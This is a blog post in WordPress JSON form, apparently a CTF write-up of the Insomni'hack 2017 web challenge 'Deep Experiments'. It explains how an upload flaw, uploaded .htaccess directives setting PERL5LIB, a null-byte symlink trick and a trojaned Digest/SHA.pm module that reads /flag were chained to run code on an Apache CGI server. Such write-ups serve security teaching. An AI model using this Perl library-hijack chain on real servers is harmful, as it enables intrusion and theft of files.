{"id":13947,"date":"2017-03-26T22:36:21","date_gmt":"2017-03-26T20:36:21","guid":{"rendered":"https:\/\/codisec.com\/?p=13947"},"modified":"2023-03-22T16:29:58","modified_gmt":"2023-03-22T15:29:58","slug":"insomnihack-2017-deep-experiments","status":"publish","type":"post","link":"https:\/\/codisec.com\/insomnihack-2017-deep-experiments\/","title":{"rendered":"Insomni’hack 2017: Deep Experiments"},"content":{"rendered":"
Deep Experiments was one of the web challenges at Insomi’hack CTF 2017. The challenge was running on Apache server with CGI enabled. As you can see, the script was creating a directory for us and putting another script ( I had some obvious ideas: SetHandler default-handler<\/p><\/blockquote>\n Worked! We could read It may seems pretty useless, everything the script does is creating a symlink to our directory. The script was importing some libs:<\/p>\n I decided to upload my own The problem was we had no way to create SetEnv PERL5LIB \/var\/www\/html\/users\/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide\/<\/p><\/blockquote>\n Listing of our final directory The last thing to do was to run publish.cgi and read the flag:<\/p>\n Flag: INS{r1s3S_0f_.ht4c3eSs!}<\/p><\/blockquote>\n Solved by Mawekl, Deep Experiments Deep Experiments was one of the web challenges at Insomi’hack CTF 2017. It has been solved only by two teams (including CodiSec). The location of the flag (\/flag) was written in the description. Recon The challenge was running…<\/span> <\/p>\n <\/a><\/p>\n","protected":false},"author":10,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[25,32],"tags":[29,30,12,31],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\t\n
\nIt has been solved only by two teams (including CodiSec).
\nThe location of the flag (\/flag<\/code>) was written in the description.<\/p>\n
Recon<\/h2>\n
\nA very simple client-side login interface (written in javascript) was setting a cookie \"uid=\"+username+\":\"+sha256(password)<\/code>.
\nDue to nature of client-side scripts, we could alter the format and value of this cookie without any efforts.
\nAt the beginning I thought the challenge was pretty easy and trivial, because there was an upload script, vulnerable to directory traversal.
\nAfter some tests, I had determined a behaviour of the upload script:<\/p>\n\r\n$filename = $_REQUEST['file']['filename'];\r\n$uid = sha256($_COOKIE['uid']);\r\n\r\nif(!exists(\"\/var\/www\/html\/users\/$uid.hide\"))\r\n{\r\n mkdir(\"\/var\/www\/html\/users\/$uid.hide\");\r\n copy($PATH_TO_PUBLISH_CGI_SCRIPT, \"\/var\/www\/html\/users\/$uid.hide\/publish.cgi\");\r\n chmod(\"\/var\/www\/html\/users\/$uid.hide\/publish.cgi\", 755);\r\n}\r\n\r\ncopy($_REQUEST['file']['tmp_filename'], \"\/var\/www\/html\/users\/$uid.hide\/$filename\");\r\n\r\nprint \"\/users\/$uid.hide\/$filename\";\r\n<\/pre>\n
publish.cgi<\/code>) inside.
\nAll files but the ones with .hide<\/code> suffix in
\/users\/<\/code> directory were public (listed).<\/p>\n
FIRST TRY<\/h2>\n
\n1) Uploading a PHP script – failed, there was no PHP.
\n2) Uploading a CGI script – failed, there was no permission to execute our script (CGI requires chmod +x).
\n3) Overwriting publish.cgi – failed, there was no permission to write on this file.
\n4) Disabling CGI by uploading .htaccess:<\/p>\npublish.cgi<\/code> source code:<\/p>\n
\r\n#!\/usr\/bin\/perl\r\n\r\nuse CGI \":standard\";\r\nuse CGI::Cookie;\r\nuse Digest::SHA qw(sha256_hex);\r\nmy $cgi = new CGI;\r\nmy $requested = CGI->new->url();\r\n%cookies = CGI::Cookie->fetch;\r\nmy $salt = \"iNs0mn1h4cK\";\r\nmy $login = $cookies{'uid'}->value;\r\nmy $username = (split \/:\/,$login)[0];\r\nmy $hash = sha256_hex($login);\r\nmy $hashSalt = sha256_hex($salt.$login);\r\n$uid = (split \/\\\/\/, $requested)[-2];\r\n$path = \"\/var\/www\/html\/users\/$uid\";\r\nif ($uid == $hash)\r\n {\r\n\r\n if (-d $path ) {\r\n\tif (-e \"$path\/index.html\")\r\n\t{\r\n \t\tsymlink($path,\"\/var\/www\/html\/users\/$username:$hashSalt\")\r\n\t} \r\n\telse\r\n\t{\r\n\t print redirect(-url=>\"\/users\/$uid\/edit?error\")\r\n\t}\r\n }\r\n print redirect(-url=>'\/users');\r\n }\r\nelse\r\n {\r\n print redirect(-url=>'\/');\r\n }\r\n\r\n\r\nprint $cgi->header();\r\nprint \"$msg!\\n\";\r\n<\/pre>\n
\n…is it really true?<\/p>\nAs long as we control environment we control everything<\/h2>\n
\r\nuse CGI \":standard\";\r\nuse CGI::Cookie;\r\nuse Digest::SHA qw(sha256_hex);\r\n<\/pre>\n
Digest\/SHA.pm<\/code> file with an additional code:<\/p>\n
\r\n#Inherit from Digest::base if possible\r\neval {\r\n\tprint \"Flag: \"; #\r\n\topen(my $fh, \"<", "\/flag"); # additional lines\r\n\tprint <$fh>; #\r\n\trequire Digest::base;\r\n\tpush(@ISA, 'Digest::base');\r\n};\r\n<\/pre>\n
Digest<\/code> directory.
\nThe trick was to use symlink()<\/code> function in
publish.cgi<\/code> (
symlink()<\/code> is vulnerable to null bytes, so we could cut off
:$hashSalt<\/code> part of filename very easily) to create symlink named
Digest<\/code> pointing to our directory.
\nThe last part was telling perl where to load the libs from. Uploading .htaccess<\/code> did the job:<\/p>\n
\/var\/www\/html\/users\/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide<\/code>:<\/p>\n
\r\n.\r\n..\r\n.htaccess\r\nDigest -> \/var\/www\/html\/users\/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide\r\nindex.html\r\npublish.cgi\r\nSHA.pm\r\n<\/pre>\n
\nguest of the CodiSec,
\nmember of the Dragon Sector.<\/p>\n","protected":false},"excerpt":{"rendered":"